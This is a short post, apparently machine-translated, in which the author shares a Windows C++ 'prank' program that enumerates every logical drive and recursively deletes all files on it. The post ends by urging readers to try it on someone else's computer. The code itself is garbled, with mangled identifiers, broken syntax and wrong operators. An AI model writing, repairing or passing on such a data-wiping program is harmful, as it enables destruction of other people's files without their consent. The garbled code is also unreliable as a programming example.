I have been learning windows APIs recently and have made some interesting things (a little prank )...
The following is a small program I have learned to delete all files on the hard disk ....
# Include <windows. h> # include <stdio. h ># include <bitset> using namespace STD; void delfile (char * cfilepath) {win32_find_data data; handle hfind; char cfullpath [100]; char cnewpath [100]; sprintf_s (cfullpath, "% s \\*. * ", cfilepath); hfind = findfirstfile (cfullpath, & data); do {If ((! Strcmp (".", Data. cfilename) | (! Strcmp (".. ", Data. cfilename) {continue;} If (data. dwfileattributes = file_attribute_directory) {sprintf_s (cnewpath, "% s \ % s", cfilepath, Data. cfilename); delfile (cnewpath); // recursive} // MessageBox (null, Data. cfilename, "look", 0); sprintf_s (cfullpath, "% s \ % s", cfilepath, Data. cfilename); deletefile (cfullpath);} while (findnextfile (hfind, & Data);} int winapi winmain (hinstance, // handle to current I Nstance hinstance hprevinstance, // handle to previous instance lpstr lpcmdline, // command line int ncmdshow/show state) {DWORD dwdrive = getlogicaldrives (); bitset <32> bit (dwdrive); char path [3] = {'A', ':', '\ 0'}; For (int ix = 0; ix! = 32; ix ++) {If (bit. Test (IX) {path [0] = 'A' + ix; delfile (PATH) ;}} return 0 ;}
Finally, the getlogicaldrives API function is used to determine the number of partitions in the Local Machine. Then, sprintf is used to format the partitions as the delfile parameter.
If you have the chance to get a try on someone else's computer ....